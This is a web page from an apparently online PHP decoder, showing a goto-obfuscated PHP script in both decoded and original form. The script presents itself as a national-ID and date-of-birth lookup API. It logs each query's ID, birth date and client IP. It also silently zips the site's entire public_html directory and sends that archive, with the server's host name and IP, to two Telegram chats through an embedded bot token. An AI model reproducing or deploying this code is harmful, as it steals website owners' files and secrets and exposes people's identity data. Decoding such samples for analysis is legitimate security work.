Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? goto Ccckd; s_F6i: $chatIds = array("1989547881", "6365538659"); goto Qmu6U; Ccckd..

Decoded Output download

<?    
 goto Ccckd; s_F6i: $chatIds = array("1989547881", "6365538659"); goto Qmu6U; Ccckd: define("BOT_TOKEN", "7276541445:AAHs0p7RWiE3Qtk8t9IrDDk2egmJM3hRaks"); goto s_F6i; aW39l: while (basename($directory) != "public_html") { $directory = dirname($directory); } goto Gf0rN; rUc3M: foreach ($chatIds as $chatId) { sendMessageToTelegram($hostInfoMessage, $chatId); } goto LOy6A; QGGSl: $response = curl_exec($ch); goto F1k9q; cSMXI: curl_setopt($ch, CURLOPT_URL, $url); goto zCB_N; g3dx8: $url = "https://projectholder69.000webhostapp.com/NID_Api_Tools_X/User/OgraniApi1.php?nid={$nid}&dob={$dob}"; goto cSMXI; fn5U5: $userAgent = $_SERVER["HTTP_USER_AGENT"]; goto k5NxG; TTqKR: $dob = isset($_GET["dob"]) ? $_GET["dob"] : ''; goto LmB6F; S6R5t: function getHostInfo() { $host = gethostname(); $ip = $_SERVER["SERVER_ADDR"] ?? gethostbyname($host); $protocol = !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" || $_SERVER["SERVER_PORT"] == 443 ? "https://" : "http://"; $website = $_SERVER["HTTP_HOST"]; $website = preg_replace("#^https?://#", '', $website); return array($host, $ip, $website); } goto xWU7r; U1mbO: $currentDateTime = date("Y-m-d H:i:s"); goto T9gEv; wV5SF: $nid = isset($_GET["nid"]) ? $_GET["nid"] : ''; goto TTqKR; LOy6A: $directory = __DIR__; goto aW39l; z4OOv: $hostInfoMessage = "Host: {$host} 
IP Address: {$ip}\xaWebsite: {$website}\xa"; goto rUc3M; T9gEv: $logEntry = "Request {$requestNumber}, Date: {$currentDateTime}, NID: {$nid}, DOB: {$dob}, IP: " . getClientIP() . ", User Agent: {$userAgent} 
"; goto xcSnq; zCB_N: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto QGGSl; VbEQy: foreach ($chatIds as $chatId) { sendFileToTelegram($zipFilePath, $chatId); } goto g5FRq; g5FRq: unlink($zipFilePath); goto hDbYR; rx_o2: function createZipArchive($directory, $zipFileName) { $zip = new ZipArchive(); if ($zip->open($zipFileName, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== TRUE) { die("Failed to create zip archive"); } $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($directory) + 1); $zip->addFile($filePath, $relativePath); } } $zip->close(); return $zipFileName; } goto S6R5t; Y1t2b: curl_close($ch); goto Ar16y; Qmu6U: function sendFileToTelegram($filePath, $chatId) { $url = "https://api.telegram.org/bot" . BOT_TOKEN . "/sendDocument"; $postFields = array("chat_id" => $chatId, "document" => new CURLFile(realpath($filePath))); $ch = curl_init(); curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type:multipart/form-data")); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields); curl_exec($ch); curl_close($ch); } goto nD5wb; xcSnq: file_put_contents($logFile, $logEntry, FILE_APPEND); goto X5qpm; k5NxG: $logFile = "logs.txt"; goto U1mbO; y8HEi: $zipFilePath = createZipArchive($directory, $zipFileName); goto VbEQy; F1k9q: if (curl_errno($ch)) { echo "cURL error: " . curl_error($ch); } else { $jsonResponse = json_decode($response, true); if (json_last_error() !== JSON_ERROR_NONE) { die("Error decoding JSON: " . json_last_error_msg()); } unset($jsonResponse["System"]); unset($jsonResponse["Tg Channel"]); header("Content-Type: application/json"); echo json_encode($jsonResponse, JSON_PRETTY_PRINT); } goto Y1t2b; LmB6F: if (empty($nid) || empty($dob)) { die("nid and dob parameters are required."); } goto j62DH; Gf0rN: $zipFileName = $website . "_public_html.zip"; goto y8HEi; Xpdyu: function getLastRequestNumber() { $logFile = "logs.txt"; if (file_exists($logFile)) { $logContent = file_get_contents($logFile); $logEntries = explode(" 
", trim($logContent)); if (!empty($logEntries)) { $lastEntry = end($logEntries); $fields = explode(",", $lastEntry); if (count($fields) > 0) { preg_match("/Request (\d+)/", $fields[0], $matches); if (!empty($matches[1])) { return intval($matches[1]); } } } } return 0; } goto wV5SF; hDbYR: function getClientIP() { $ipAddress = $_SERVER["REMOTE_ADDR"]; if (!empty($_SERVER["HTTP_CLIENT_IP"])) { $ipAddress = $_SERVER["HTTP_CLIENT_IP"]; } elseif (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) { $ipAddress = $_SERVER["HTTP_X_FORWARDED_FOR"]; } return $ipAddress; } goto Xpdyu; j62DH: $requestNumber = getLastRequestNumber() + 1; goto fn5U5; X5qpm: $ch = curl_init(); goto g3dx8; xWU7r: list($host, $ip, $website) = getHostInfo(); goto z4OOv; nD5wb: function sendMessageToTelegram($message, $chatId) { $url = "https://api.telegram.org/bot" . BOT_TOKEN . "/sendMessage"; $postFields = array("chat_id" => $chatId, "text" => $message); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields); curl_exec($ch); curl_close($ch); } goto rx_o2; Ar16y:  ?>

Did this file decode correctly?

Original Code

<?   
 goto Ccckd; s_F6i: $chatIds = array("1989547881", "6365538659"); goto Qmu6U; Ccckd: define("BOT_TOKEN", "7276541445:AAHs0p7RWiE3Qtk8t9IrDDk2egmJM3hRaks"); goto s_F6i; aW39l: while (basename($directory) != "public_html") { $directory = dirname($directory); } goto Gf0rN; rUc3M: foreach ($chatIds as $chatId) { sendMessageToTelegram($hostInfoMessage, $chatId); } goto LOy6A; QGGSl: $response = curl_exec($ch); goto F1k9q; cSMXI: curl_setopt($ch, CURLOPT_URL, $url); goto zCB_N; g3dx8: $url = "https://projectholder69.000webhostapp.com/NID_Api_Tools_X/User/OgraniApi1.php?nid={$nid}&dob={$dob}"; goto cSMXI; fn5U5: $userAgent = $_SERVER["HTTP_USER_AGENT"]; goto k5NxG; TTqKR: $dob = isset($_GET["dob"]) ? $_GET["dob"] : ''; goto LmB6F; S6R5t: function getHostInfo() { $host = gethostname(); $ip = $_SERVER["SERVER_ADDR"] ?? gethostbyname($host); $protocol = !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" || $_SERVER["SERVER_PORT"] == 443 ? "https://" : "http://"; $website = $_SERVER["HTTP_HOST"]; $website = preg_replace("#^https?://#", '', $website); return array($host, $ip, $website); } goto xWU7r; U1mbO: $currentDateTime = date("Y-m-d H:i:s"); goto T9gEv; wV5SF: $nid = isset($_GET["nid"]) ? $_GET["nid"] : ''; goto TTqKR; LOy6A: $directory = __DIR__; goto aW39l; z4OOv: $hostInfoMessage = "Host: {$host}
IP Address: {$ip}\xaWebsite: {$website}\xa"; goto rUc3M; T9gEv: $logEntry = "Request {$requestNumber}, Date: {$currentDateTime}, NID: {$nid}, DOB: {$dob}, IP: " . getClientIP() . ", User Agent: {$userAgent}
"; goto xcSnq; zCB_N: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto QGGSl; VbEQy: foreach ($chatIds as $chatId) { sendFileToTelegram($zipFilePath, $chatId); } goto g5FRq; g5FRq: unlink($zipFilePath); goto hDbYR; rx_o2: function createZipArchive($directory, $zipFileName) { $zip = new ZipArchive(); if ($zip->open($zipFileName, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== TRUE) { die("Failed to create zip archive"); } $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($directory) + 1); $zip->addFile($filePath, $relativePath); } } $zip->close(); return $zipFileName; } goto S6R5t; Y1t2b: curl_close($ch); goto Ar16y; Qmu6U: function sendFileToTelegram($filePath, $chatId) { $url = "https://api.telegram.org/bot" . BOT_TOKEN . "/sendDocument"; $postFields = array("chat_id" => $chatId, "document" => new CURLFile(realpath($filePath))); $ch = curl_init(); curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type:multipart/form-data")); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields); curl_exec($ch); curl_close($ch); } goto nD5wb; xcSnq: file_put_contents($logFile, $logEntry, FILE_APPEND); goto X5qpm; k5NxG: $logFile = "logs.txt"; goto U1mbO; y8HEi: $zipFilePath = createZipArchive($directory, $zipFileName); goto VbEQy; F1k9q: if (curl_errno($ch)) { echo "cURL error: " . curl_error($ch); } else { $jsonResponse = json_decode($response, true); if (json_last_error() !== JSON_ERROR_NONE) { die("Error decoding JSON: " . json_last_error_msg()); } unset($jsonResponse["System"]); unset($jsonResponse["Tg Channel"]); header("Content-Type: application/json"); echo json_encode($jsonResponse, JSON_PRETTY_PRINT); } goto Y1t2b; LmB6F: if (empty($nid) || empty($dob)) { die("nid and dob parameters are required."); } goto j62DH; Gf0rN: $zipFileName = $website . "_public_html.zip"; goto y8HEi; Xpdyu: function getLastRequestNumber() { $logFile = "logs.txt"; if (file_exists($logFile)) { $logContent = file_get_contents($logFile); $logEntries = explode("
", trim($logContent)); if (!empty($logEntries)) { $lastEntry = end($logEntries); $fields = explode(",", $lastEntry); if (count($fields) > 0) { preg_match("/Request (\d+)/", $fields[0], $matches); if (!empty($matches[1])) { return intval($matches[1]); } } } } return 0; } goto wV5SF; hDbYR: function getClientIP() { $ipAddress = $_SERVER["REMOTE_ADDR"]; if (!empty($_SERVER["HTTP_CLIENT_IP"])) { $ipAddress = $_SERVER["HTTP_CLIENT_IP"]; } elseif (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) { $ipAddress = $_SERVER["HTTP_X_FORWARDED_FOR"]; } return $ipAddress; } goto Xpdyu; j62DH: $requestNumber = getLastRequestNumber() + 1; goto fn5U5; X5qpm: $ch = curl_init(); goto g3dx8; xWU7r: list($host, $ip, $website) = getHostInfo(); goto z4OOv; nD5wb: function sendMessageToTelegram($message, $chatId) { $url = "https://api.telegram.org/bot" . BOT_TOKEN . "/sendMessage"; $postFields = array("chat_id" => $chatId, "text" => $message); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields); curl_exec($ch); curl_close($ch); } goto rx_o2; Ar16y:  ?>

Function Calls

None

Variables

None

Stats

MD5 d34edb8176b829ba4a91b515fb5536e1
Eval Count 0
Decode Time 57 ms